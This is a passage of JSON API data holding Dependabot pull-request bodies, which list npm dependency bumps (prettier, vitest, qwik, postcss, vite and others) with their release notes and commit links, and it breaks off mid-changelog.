href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.4...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b5112a6fd8200101b88bf8af9685d077295\"\u003e\u003ccode\u003ebae52b5\u003c/code\u003e\u003c/a\u003e fix(vm): fix external module resolve error with deps optimizer query for enco...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587cb61d8338d83f525295322692a2db40\"\u003e\u003ccode\u003e934b0f5\u003c/code\u003e\u003c/a\u003e fix(pool): prevent test run hang on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10543\"\u003e#10543\u003c/a\u003e) [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651afbae2a9b0cefe6c031a9308f168ac60\"\u003e\u003ccode\u003e7fb2965\u003c/code\u003e\u003c/a\u003e fix(browser): wait for orchestrator readiness before resolving browser sessio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c1be7089e3705e3dd9e84fea118d09d3\"\u003e\u003ccode\u003ea518019\u003c/code\u003e\u003c/a\u003e fix: fix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/mimmi20/postcss-pseudo-element-colons/pull/126","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mimmi20%2Fpostcss-pseudo-element-colons/issues/126","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/126/packages"}},{"old_version":"8.4.33","new_version":"8.5.10","update_type":"minor","path":null,"pr_created_at":"2026-07-17T06:28:32.000Z","version_change":"8.4.33 → 8.5.10","issue":{"uuid":"4908688783","node_id":"PR_kwDOTV2Ays7y18ld","number":2,"state":"open","title":"chore(deps): bump the npm_and_yarn group across 1 directory with 14 updates","user":"dependabot[bot]","labels":["dependencies","javascript","gitar-approved"],"assignees":[],"locked":false,"comments_count":5,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-17T06:28:32.000Z","updated_at":"2026-07-17T06:29:38.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm_and_yarn","update_count":14,"packages":[{"name":"@builder.io/qwik","old_version":"1.4.3","new_version":"1.19.1","repository_url":"https://github.com/QwikDev/qwik"},{"name":"@builder.io/qwik-city","old_version":"1.4.3","new_version":"1.19.2","repository_url":"https://github.com/QwikDev/qwik"},{"name":"js-yaml","old_version":"4.1.0","new_version":"4.2.0","repository_url":"https://github.com/nodeca/js-yaml"},{"name":"postcss","old_version":"8.4.33","new_version":"8.5.10","repository_url":"https://github.com/postcss/postcss"},{"name":"undici","old_version":"5.28.2","new_version":"6.27.0","repository_url":"https://github.com/nodejs/undici"},{"name":"vite","old_version":"4.5.2","new_version":"6.4.3","repository_url":"https://github.com/vitejs/vite"},{"name":"@babel/core","old_version":"7.23.9","new_version":"7.29.7","repository_url":"https://github.com/babel/babel"},{"name":"@babel/plugin-transform-modules-systemjs","old_version":"7.23.9","new_version":"7.29.7","repository_url":"https://github.com/babel/babel"},{"name":"flatted","old_version":"3.2.9","new_version":"3.4.2","repository_url":"https://github.com/WebReflection/flatted"},{"name":"form-data","old_version":"3.0.1","new_version":"3.0.5","repository_url":"https://github.com/form-data/form-data"},{"name":"lodash","old_version":"4.17.21","new_version":"4.18.1","repository_url":"https://github.com/lodash/lodash"},{"name":"vm2","old_version":"3.9.19","new_version":"3.11.5","repository_url":"https://github.com/patriksimek/vm2"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 12 updates in the /web directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@builder.io/qwik](https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik) | `1.4.3` | `1.19.1` |\n| [@builder.io/qwik-city](https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik-city) | `1.4.3` | `1.19.2` |\n| [js-yaml](https://github.com/nodeca/js-yaml) | `4.1.0` | `4.2.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.4.33` | `8.5.10` |\n| [undici](https://github.com/nodejs/undici) | `5.28.2` | `6.27.0` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `4.5.2` | `6.4.3` |\n| [@babel/core](https://github.com/babel/babel/tree/HEAD/packages/babel-core) | `7.23.9` | `7.29.7` |\n| [@babel/plugin-transform-modules-systemjs](https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs) | `7.23.9` | `7.29.7` |\n| [flatted](https://github.com/WebReflection/flatted) | `3.2.9` | `3.4.2` |\n| [form-data](https://github.com/form-data/form-data) | `3.0.1` | `3.0.5` |\n| [lodash](https://github.com/lodash/lodash) | `4.17.21` | `4.18.1` |\n| [vm2](https://github.com/patriksimek/vm2) | `3.9.19` | `3.11.5` |\n\n\nUpdates `@builder.io/qwik` from 1.4.3 to 1.19.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/releases\"\u003e\u003ccode\u003e@​builder.io/qwik's releases\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik@1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 the optimizer was not using the binary builds (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8360\"\u003e#8360\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 resolve 404 error for virtual CSS modules during dev SSR (by \u003ca href=\"https://github.com/jantimon\"\u003e\u003ccode\u003e@​jantimon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8351\"\u003e#8351\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 Link hash change now properly updates location.url.hash (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8305\"\u003e#8305\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ allow mocking route loaders \u0026amp; actions in \u003ccode\u003eQwikCityMockProvider\u003c/code\u003e (by \u003ca href=\"https://github.com/alexismch\"\u003e\u003ccode\u003e@​alexismch\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8102\"\u003e#8102\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 qwik-city spa routeStateInternal and routeLocation url origins mismatch (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8234\"\u003e#8234\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(qwik-city): add getOrigin option to QwikCityBunOptions and QwikCityDenoOptions for improved URL handling (by \u003ca href=\"https://github.com/JerryWu1234\"\u003e\u003ccode\u003e@​JerryWu1234\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8251\"\u003e#8251\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMake RequestEvents readonly instead of frozen (by \u003ca href=\"https://github.com/DustinJSilk\"\u003e\u003ccode\u003e@​DustinJSilk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8135\"\u003e#8135\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik@1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ \u003ccode\u003euntrack()\u003c/code\u003e now accepts signals and stores directly, as well as accepting arguments when you pass a function. This makes retrieving values without subscribing to them more efficient. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8247\"\u003e#8247\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 we now prevent merging useVisibleTask$ code together with other segments to prevent overpreloading when their entry contains a lot of transitive imports. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8275\"\u003e#8275\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 duplicated preload bundles in SSR preload (by \u003ca href=\"https://github.com/chebanenko\"\u003e\u003ccode\u003e@​chebanenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8248\"\u003e#8248\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e⚡️: the core.js and preloader.js references in q-manifest and bundle-graph are now filtered out for smaller outputs. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8278\"\u003e#8278\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/blob/@builder.io/qwik@1.19.1/packages/qwik/CHANGELOG.md\"\u003e\u003ccode\u003e@​builder.io/qwik's changelog\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 the optimizer was not using the binary builds (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8360\"\u003e#8360\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 resolve 404 error for virtual CSS modules during dev SSR (by \u003ca href=\"https://github.com/jantimon\"\u003e\u003ccode\u003e@​jantimon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8351\"\u003e#8351\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ \u003ccode\u003euntrack()\u003c/code\u003e now accepts signals and stores directly, as well as accepting arguments when you pass a function. This makes retrieving values without subscribing to them more efficient. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8247\"\u003e#8247\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 we now prevent merging useVisibleTask$ code together with other segments to prevent overpreloading when their entry contains a lot of transitive imports. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8275\"\u003e#8275\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 duplicated preload bundles in SSR preload (by \u003ca href=\"https://github.com/chebanenko\"\u003e\u003ccode\u003e@​chebanenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8248\"\u003e#8248\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e⚡️: the core.js and preloader.js references in q-manifest and bundle-graph are now filtered out for smaller outputs. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8278\"\u003e#8278\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.18.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePERF: Computed signals now only trigger listeners if their value has changed (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8148\"\u003e#8148\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eexecute cleanup cb for all component tree while calling dispose.cleanup method returned by render fn (by \u003ca href=\"https://github.com/sashkashishka\"\u003e\u003ccode\u003e@​sashkashishka\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8164\"\u003e#8164\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 useResource's onRejected now catches errors again; preventing unhandled errors in test environments. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8197\"\u003e#8197\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e✨ \u003ccode\u003eqwik add compiled-i18\u003c/code\u003e now adds easy i18n to your app. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca 